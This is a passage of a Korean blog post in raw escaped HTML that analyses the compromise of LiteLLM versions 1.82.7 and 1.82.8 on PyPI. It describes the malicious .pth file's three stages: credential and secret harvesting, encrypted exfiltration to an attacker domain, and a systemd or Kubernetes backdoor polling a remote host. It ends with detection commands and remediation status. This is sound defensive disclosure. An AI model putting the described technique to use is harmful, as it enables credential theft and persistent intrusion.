TeamPCP가 탈취한 토큰으로 PyPI에 악성 버전을 직접 업로드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;6. GitHub 릴리스 없이 PyPI에만 1.82.7, 1.82.8 배포&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;PyPI advisory에서도 &lt;b&gt;Trivy 사건에서 노출된 API 토큰이 근본 원인&lt;/b&gt;이라고 확인했다. LiteLLM 관리자가 직접 공격당한 것이 아니라, LiteLLM이 의존하고 있던 보안 도구(Trivy)가 먼저 감염되어 인증 정보가 유출된 것이다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://www.wiz.io/blog/threes-a-crowd-teampcp-trojanizes-litellm-in-continuation-of-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Research&lt;/a&gt; &amp;mdash; &quot;An PyPI advisory has been posted, identifying an API token exposed via the prior Trivy incident as the root cause&quot;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 악성코드 기술 분석 &amp;mdash; 3단계 공격 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;악성 &lt;code&gt;litellm_init.pth&lt;/code&gt; 파일이 Python 인터프리터 시작 시 자동으로 실행하는 페이로드는 3단계로 구성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 1: 수집 (Collection)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T3IqT/dJMcabp8dn5/9f4hCgyYOwXwG5kmeQZih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT3IqT%2FdJMcabp8dn5%2F9f4hCgyYOwXwG5kmeQZih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1104&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 시스템에서 민감한 파일과 정보를 광범위하게 수집한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수집 대상&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구체적 파일/경로&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;SSH 키&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~/.ssh/ (개인키, 설정 파일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 인증 정보&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;AWS credentials, GCP ADC, Azure 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;쿠버네티스 설정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;~/.kube/config, 서비스 어카운트 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;환경 변수 파일&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.env 파일 (API 키, DB 비밀번호 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;암호화폐 지갑&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일반적인 지갑 파일 패턴 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Git 설정&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.gitconfig (토큰, 인증 정보)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;쉘 히스토리&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;.bash_history, .zsh_history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;데이터베이스 비밀번호&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;설정 파일 내 비밀번호 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Slack / Discord 토큰&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;채팅 서비스 인증 토큰 (OX Security 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 메타데이터&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;IMDS 엔드포인트, 컨테이너 자격증명 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;환경변수 덤프와 클라우드 메타데이터 엔드포인트(IMDS, 컨테이너 자격증명) 쿼리까지 수행한다. 즉 &lt;b&gt;파일 시스템과 런타임 환경 양쪽에서&lt;/b&gt; 인증 정보를 수집한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwe73C/dJMcadaksec/taaWX4gQWBxeBw6W30VVM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcwe73C%2FdJMcadaksec%2FtaaWX4gQWBxeBw6W30VVM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2018&quot; height=&quot;1106&quot; data-origin-width=&quot;2018&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 2: 유출 (Exfiltration)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;수집된 데이터를 외부로 전송한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수집 데이터를 &lt;b&gt;AES-256-CBC&lt;/b&gt;로 암호화 (랜덤 세션 키 사용)&lt;/li&gt;
&lt;li&gt;세션 키를 하드코딩된 &lt;b&gt;4096-bit RSA 공개키&lt;/b&gt;로 암호화&lt;/li&gt;
&lt;li&gt;전체를 tar 아카이브로 묶어 &lt;code&gt;https://models.litellm.cloud/&lt;/code&gt;로 POST 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;models.litellm.cloud는 LiteLLM 공식 인프라가 아니다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;도메인 이름이 litellm.cloud를 포함하고 있어 공식 서버처럼 보이지만, LiteLLM의 정상적인 인프라와 무관한 &lt;b&gt;공격자가 등록한 도메인&lt;/b&gt;이다. 방화벽 규칙에서 이 도메인으로의 아웃바운드 트래픽을 즉시 차단해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Stage 3: 지속성 확보 (Persistence)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;환경에 따라 두 가지 경로로 영구 백도어를 설치한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿠버네티스 환경:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서비스 어카운트 토큰이 있으면 &lt;b&gt;모든 네임스페이스의 시크릿&lt;/b&gt;을 읽는다&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube-system&lt;/code&gt;의 &lt;b&gt;모든 노드에 특권(privileged) alpine:latest 컨테이너&lt;/b&gt;를 생성한다&lt;/li&gt;
&lt;li&gt;각 컨테이너가 호스트 파일시스템을 마운트하고 백도어를 설치한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로컬 머신:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/root/.config/sysmon/sysmon.py&lt;/code&gt; 또는 &lt;code&gt;~/.config/sysmon/sysmon.py&lt;/code&gt;에 백도어 설치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;systemd user service&lt;/b&gt;로 등록하여 재부팅 후에도 자동 실행&lt;/li&gt;
&lt;li&gt;백도어는 &lt;code&gt;checkmarx[.]zone/raw&lt;/code&gt;를 &lt;b&gt;50분 간격으로 폴링&lt;/b&gt;하여 추가 바이너리를 다운로드한다 &amp;mdash; 공격자가 나중에 추가 페이로드를 배포할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 백도어 설치 경로 확인 명령어&lt;/span&gt;&lt;br /&gt;ls -la ~/.config/sysmon/sysmon.py&lt;br /&gt;ls -la ~/.config/systemd/user/sysmon.service&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 쿠버네티스 환경에서 의심스러운 Pod 확인&lt;/span&gt;&lt;br /&gt;kubectl get pods -n kube-system | grep node-setup&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch, 2026-03-24&lt;/a&gt; &amp;mdash; 3단계 페이로드 기술 분석)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 발견 경위 &amp;mdash; 악성코드의 버그가 구한 세상&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2044&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cEMZeR/dJMcaaLvwIH/WGZfzp8YFT8yZdoukT8QJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcEMZeR%2FdJMcaaLvwIH%2FWGZfzp8YFT8yZdoukT8QJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2044&quot; height=&quot;1116&quot; data-origin-width=&quot;2044&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건의 발견 경위가 흥미롭다. FutureSearch 팀이 Cursor 에디터에서 MCP 플러그인을 사용하던 중, LiteLLM이 &lt;b&gt;간접 의존성(transitive dependency)으로 자동 설치&lt;/b&gt;되었다. 직접 설치한 것이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 갑자기 시스템 메모리(RAM)가 전부 소진되면서 머신이 멈췄다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;원인은 악성코드의 &lt;b&gt;버그&lt;/b&gt;였다. &lt;code&gt;.pth&lt;/code&gt; 파일은 Python 인터프리터 시작 시마다 실행되는데, 이 악성 &lt;code&gt;.pth&lt;/code&gt;가 &lt;code&gt;subprocess.Popen&lt;/code&gt;으로 자식 Python 프로세스를 생성한다. 자식 프로세스가 시작되면 다시 &lt;code&gt;.pth&lt;/code&gt;가 실행되고, 또 자식 프로세스를 생성하고... &lt;b&gt;지수적으로 프로세스가 복제되는 포크 폭탄(fork bomb)&lt;/b&gt;이 발생한 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;아이러니: 악성코드의 버그가 없었으면 발견이 훨씬 늦었을 것이다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;의도된 동작대로였다면 악성코드는 조용히 인증 정보를 수집하고, 조용히 전송하고, 조용히 백도어를 설치했을 것이다. 포크 폭탄은 공격자의 실수다. 이 실수가 시스템을 폭주시켰고, FutureSearch 개발자가 원인을 추적하면서 악성코드가 발견되었다. 10:39 UTC에 첫 배포가 시작되었다. LiteLLM 공식 보안 공지에 따르면 영향 시간대는 &lt;b&gt;10:39 UTC ~ 16:00 UTC (약 5시간 20분)&lt;/b&gt;이다. 버그가 없었다면 이 시간은 훨씬 길어졌을 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt; &amp;mdash; &quot;The fork bomb is actually a bug in the malware&quot;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 영향 범위 &amp;mdash; 내가 위험한가?&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 설치하지 않아도 위험하다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM은 본인이 직접 &lt;code&gt;pip install litellm&lt;/code&gt;하지 않아도 다른 도구의 의존성으로 자동 설치되는 경우가 많다. 대표적인 경로는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP 플러그인&lt;/b&gt; &amp;mdash; Cursor, Claude Code 등에서 사용하는 MCP 플러그인이 의존성으로 설치&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 에이전트 프레임워크&lt;/b&gt; &amp;mdash; LangChain, CrewAI 등 LLM 오케스트레이션 도구&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LLM 게이트웨이/프록시&lt;/b&gt; &amp;mdash; 여러 AI 모델을 관리하는 서버 환경&lt;/li&gt;
&lt;li&gt;&lt;b&gt;바이브 코딩 도구 체인&lt;/b&gt; &amp;mdash; AI 코딩 에이전트가 자동으로 설치하는 패키지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;영향받지 않는 경로&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;다음 경우에는 이번 사건의 영향을 받지 않는다&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;LiteLLM 공식 Proxy Docker 이미지&lt;/b&gt;를 사용한 경우 (PyPI 패키지가 아닌 이미지 기반)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LiteLLM Cloud&lt;/b&gt; (호스팅 서비스) 사용자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;소스에서 직접 설치&lt;/b&gt;한 경우 (GitHub clone &amp;rarr; pip install -e .)&lt;/li&gt;
&lt;li&gt;litellm &lt;b&gt;1.82.6 이하&lt;/b&gt;를 사용 중이고, 3월 24일 이후 업그레이드하지 않은 경우&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: 10px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 보안 공지&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub 계정 탈취까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TeamPCP는 LiteLLM 관리자(BerriAI)의 GitHub 계정까지 탈취한 것으로 보인다. GitHub에 &lt;b&gt;&quot;teampcp owns BerriAI&quot;&lt;/b&gt;라는 메시지를 남겼다. 이 사건을 신고한 &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #24512&lt;/a&gt;를 &lt;b&gt;&quot;not planned&quot;으로 닫아 버렸으며&lt;/b&gt;, 수백 개의 봇 댓글로 토론을 희석시키려 했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;BerriAI 대응 현황 (2026-03-26 기준)&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;관리자 계정 전체 교체&lt;/b&gt; &amp;mdash; 새 계정(@krrish-berri-2, @ishaan-berri)으로 전환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PyPI 토큰 폐기&lt;/b&gt; &amp;mdash; 탈취된 PYPI_PUBLISH_PASSWORD 시크릿 무효화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;새 릴리스 중단&lt;/b&gt; &amp;mdash; 공급망 전체 검토 완료 시까지 배포 일시 중지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Trusted Publishers(OIDC) 마이그레이션&lt;/b&gt; &amp;mdash; 토큰 기반 배포에서 OIDC 기반으로 전환 논의 중 (&lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24542&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #24542&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: 10px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LiteLLM 공식 보안 공지&lt;/a&gt;, &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Issue #24518&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignRight&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUQYvF/dJMcadVIwgn/g3TtJ9ZaOGk8zbbamk9XB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUQYvF%2FdJMcadVIwgn%2Fg3TtJ9ZaOGk8zbbamk9XB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1106&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;확인 방법&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;지금 터미널을 열고 아래 명령어를 실행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 1. litellm 설치 여부 및 버전 확인&lt;/span&gt;&lt;br /&gt;pip show litellm&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2. uv 캐시에 감염 파일이 있는지 확인&lt;/span&gt;&lt;br /&gt;find ~/.cache/uv -name &quot;litellm_init.pth&quot; 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 3. 가상환경에서 확인&lt;/span&gt;&lt;br /&gt;find . -path &quot;*/site-packages/litellm_init.pth&quot; 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 4. 백도어 존재 확인&lt;/span&gt;&lt;br /&gt;ls -la ~/.config/sysmon/ 2&amp;gt;/dev/null&lt;br /&gt;ls -la ~/.config/systemd/user/sysmon.service 2&amp;gt;/dev/null&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;버전이 &lt;b&gt;1.82.7&lt;/b&gt; 또는 &lt;b&gt;1.82.8&lt;/b&gt;이면 감염된 것이다. 해당 환경에 있던 &lt;b&gt;모든 인증 정보가 이미 유출되었을 가능성&lt;/b&gt;이 있다.&lt;br /&gt;ex) 나의 경우는 미설치&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeBvEwa%2FdJMcahDPUXW%2FrezKq71Ki3lGSJ9XTC0K1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;51&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

